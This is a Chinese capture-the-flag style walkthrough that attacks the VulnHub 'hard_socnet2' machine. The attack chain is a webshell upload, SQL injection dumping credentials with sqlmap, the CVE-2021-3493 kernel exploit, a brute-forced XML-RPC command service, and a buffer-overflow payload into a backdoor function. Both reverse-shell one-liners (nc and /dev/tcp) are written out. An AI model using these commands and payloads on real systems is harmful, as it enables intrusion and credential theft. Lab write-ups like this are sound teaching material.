# 前言
前面一直是中级和低级难度,这次挑战一个难度更高的,靶机下载地址 https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
# 描述
难度:困难
涉及攻击方法:
主机发现
端口扫描
SQL 注入
文件上传
蚁剑上线
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写
攻击目标:获得 root 权限
# 攻击流程
# 信息收集
这里看到目标靶机的 ip 是 192.168.13.33,接着扫描一下端口
这扫到端口,接着对端口进行一个服务的发现
这里的 22 端口是一个 7.6 版本的 OpenSSH 服务,80 端口是一个 2.4.29 版本的 apache 的 httpd 服务,8000 端口是一个 python2.7 的 httpd 服务,这里还是通过浏览器去访问一下 80 和 8000 端口
这里 8000 端口显示 GET 方法不支持,所以这里就去抓包改一下请求方式尝试一下
这里暂时先放在这,先看 80 端口的服务,是一个登录页面也有一个注册功能这里先注册一个账号
这里注册成功后就登录到后台页面了
这里看到有一个 admin 账号和 testuser 账号,这里可以看到有一个表单,这里提交尝试一下
发现这里会将提交的表单都放到下面的 News Feed 中,admin 发布的一条消息
Hello friends! I've been working on a new script for monitoring servers. It's called monitor.py. I'm running on this server I'll post soon! |
可以看到这里有一个监控服务器的脚本,名字是 monitor.py,暂时不知道这个脚本在哪,暂时没有利用的思路
这里去看一下个人主页,看看有没有什么有用的信息
这里可以看到,他有一个上传一个头像的功能,于是我们这里测试一下有没有可能通过文件上传 getshell
# 文件上传
这里上传一个 1.php 尝试一下
这里尝试去访问一下
这里看到,文件上传是成功的,对于我上传的文件内容这里可以看一下,就是很简单的一句话木马
这里为了方便命令执行的回显,所以这里将 phpinfo 删除掉,再次上传
这里已经拿到了一个 www-data 的权限
# sql 注入
在搜索的地方发现,当我输入单引号的时候这里产生了报错,并且将报错信息打印了出来,这里是有一个 sql 注入的点,于是我这里使用 sqlmap 来脱库,这里将 http 请求保存到一个文本中
这里使用
sqlmap -r 1.txt -p query --dbs |
拿到所有的数据库的名字,接着看表名
sqlmap -r 1.txt -p query -D socialnetwork --tables |
这里看到有一个 users 表,这里去看这个表有哪些字段
sqlmap -r 1.txt -p query -D socialnetwork -T users --columns |
我们登录是需要邮箱和密码,所以这里我们查看对应的两个字段信息
sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_email,user_password --dump |
这里使用了 sqlmap 的功能将密码碰撞了出来,这里就可以直接用这两个账号去登录了,这里先去登录这个 admin 账号,但是这里并没有版本进一步利用
# 提权
还是回到刚刚拿到 sell 的地方,这里为了方便使用用蚁剑连接上
这里因为权限还是 www-data,所以这里需要提权,这里看一下内核版本
这里可以看见版本是 4.15,这里看一下具体的版本
去网上查询了一下相关的漏洞发现 CVE-2021-3493 可以利用,这里贴一个 expbriskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc (github.com)
这里将 exp 放到靶机上,然后去编译运行
可以看到,这里是能够成功的,但是最后退出了,很显然是蚁剑的 shell 功能不全,这里去反弹一个 shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.13.249 2333 >/tmp/f |
这里就成功拿到了一个 shell,这里尝试去运行 exp
这里可以看到,这样就成功了
这里就算是结束了,但是为什么说他的难度是困难呢,因为这台靶机制作时间是 20 年,没有这个 cve 可以直接利用,所以这里再从另一个角度去突破这台靶机
这里回到普通用户的权限,为了增强终端可用性,这里再使用 python 来获取一个新的 shell
# 梅开二度
# 信息收集
这里去看一下哪些用户是可以执行 shell 的
这里可以看到除了 root 外还有一个 socnet 用户是能执行 shell 的,这里也直接去看他的家目录
这里看见 monitor.py,刚刚再 web 页面提到这是一个管理员运行监视脚本
这里可以看见这里确实有一个正在运行的 monitor 程序
# 漏洞利用
这里也贴一下他的源码,我加了一点注释
import SimpleXMLRPCServer | |
import subprocess | |
import random | |
debugging_pass = random.randint(1000, 9999) # 生成一个随机数字 | |
def runcmd(cmd): | |
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
output = results.stdout.read() + results.stderr.read() | |
return output | |
def cpu(): | |
return runcmd("cat /proc/cpuinfo") # 执行查看 CPU 信息的命令 | |
def mem(): | |
return runcmd("free -m") # 执行查看内存信息的命令 | |
def disk(): | |
return runcmd("df -h") # 执行查看磁盘信息的命令 | |
def net(): | |
return runcmd("ip a") # 执行查看网络信息的命令 | |
def secure_cmd(cmd, passcode): | |
if passcode == debugging_pass: | |
return runcmd(cmd) # 如果传入的 passcode 与预设的 debugging_pass 相匹配,则执行指定的命令并返回结果 | |
else: | |
return "Wrong passcode." # 如果 passcode 不匹配,则返回错误消息 | |
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) | |
server.register_function(cpu) # 注册 cpu () 函数 | |
server.register_function(mem) # 注册 mem () 函数 | |
server.register_function(disk) # 注册 disk () 函数 | |
server.register_function(net) # 注册 net () 函数 | |
server.register_function(secure_cmd) # 注册 secure_cmd () 函数 | |
server.serve_forever() |
这里根据导入的包可以看到使用了 XMLRPC 模块,这段代码的大致作用就是,创建了一个简单的 XML-RPC 服务器,服务监听再 0.0.0.0 的 8000 端口上(就是前面探测到的端口),再 runcmd 中创建了一个新的进程,执行 cmd 命令,最后通过 outPut 输出到页面,在 secure_cmd 函数中如果传入的 passcode 等于上面生成的随机数,就会调用 runcmd 函数,去执行命令,这里需要拿到这个随机数,这里写脚本去爆破一下这个数字
import xmlrpc.client | |
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy: | |
for i in range(1000,10000): | |
p = str(peoxy.secure_cmd('ls',i)) | |
print(p+str(i)) | |
if "Wrong" in p: | |
pass | |
else: | |
print(i) | |
break |
这里爆出这个随机数为 5727,这里改一下脚本执行 whoami
import xmlrpc.client | |
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy: | |
p = str(peoxy.secure_cmd('whoami',5727)) | |
print(p) |
可以看到,这里拿到的是 socnet 的 shell,这里反弹一个 shell 出来
# 反弹 shell
这里再改一下脚本
import xmlrpc.client | |
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy: | |
p = str(peoxy.secure_cmd('bash -c "bash -i >& /dev/tcp/192.168.13.249/2444 0>&1"',5727)) | |
print(p) |
这里就成功拿到 socnet 一个 shell,这里还是看这个目录
这里还不是 root 用户,这里可以看到 add_record 文件是所属 root 的,这里可以尝试利用这个文件来提权,这里先查看一下这个文件
# 溢出
这里可以看到这个文件是一个 32 为的 elf 文件,统计目录下有一个 peda 的动态调试环境,这里可以使用 gdb 来调试这个程序
这里输入 2000 个 A,程序直接退出了,看来是没有溢出,这要都测试了一下,最后是在工作失误的备注中发现出现了溢出问题
这里可以看到,已经成功看到溢出问题
这里重点关注一下 EIP(存放下一条指令的地址)这里 EIP 也被覆盖了,这里先测试一下溢出的临界区是多少
这里用 gdb 生成 500 个字符
pattern create 500 | |
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A |
用这 500 字符去溢出,然后就可以找到是哪些字符导致溢出
使用 gdb 来查找溢出位置
这里可以看到是 AAHA,是从第 62 为开始后 4 为溢出到 EIP,这里测试一下先向 EIP 写入 1234
这里可以通过 disas main 看一下 main 函数的汇编
这里可以看到地址 0x08048729 位置使用了 call 函数调用了一个 open 的内置函数,很显然应该是打开文件的一个操作,这里下一个断点验证一下我们的猜测
直接使用 r 命令
可以看到这里接下来就要去执行这个 call,这里使用 s,单步执行
这里可以看见,这里在打开这个 employee_records.txt 文件,这里看到后面调用了一个 vuln
利用点就在这里,这里使用 info func 来查看程序中的函数信息
这里看到两个函数,backdoor,vuln
这里调用了 strcpy 函数,这里的历史版本是存在缓冲区溢出的
backdoor 调用了 system 可以进行命令执行,并且在这之前调用了 setuid,这里用这个起始地址放到 EIP 中
大致的逻辑就是,main 函数中的 vuln 会调用 strcpy,存在缓冲区溢出到 backdoor,最后执行 system 函数,这里根据思路生成一个 payload
python -c "import struct;print(str('a\n1\n1\n1\n')+str('A'*62)+str(struct.pack('I',0x08048676)))" > p |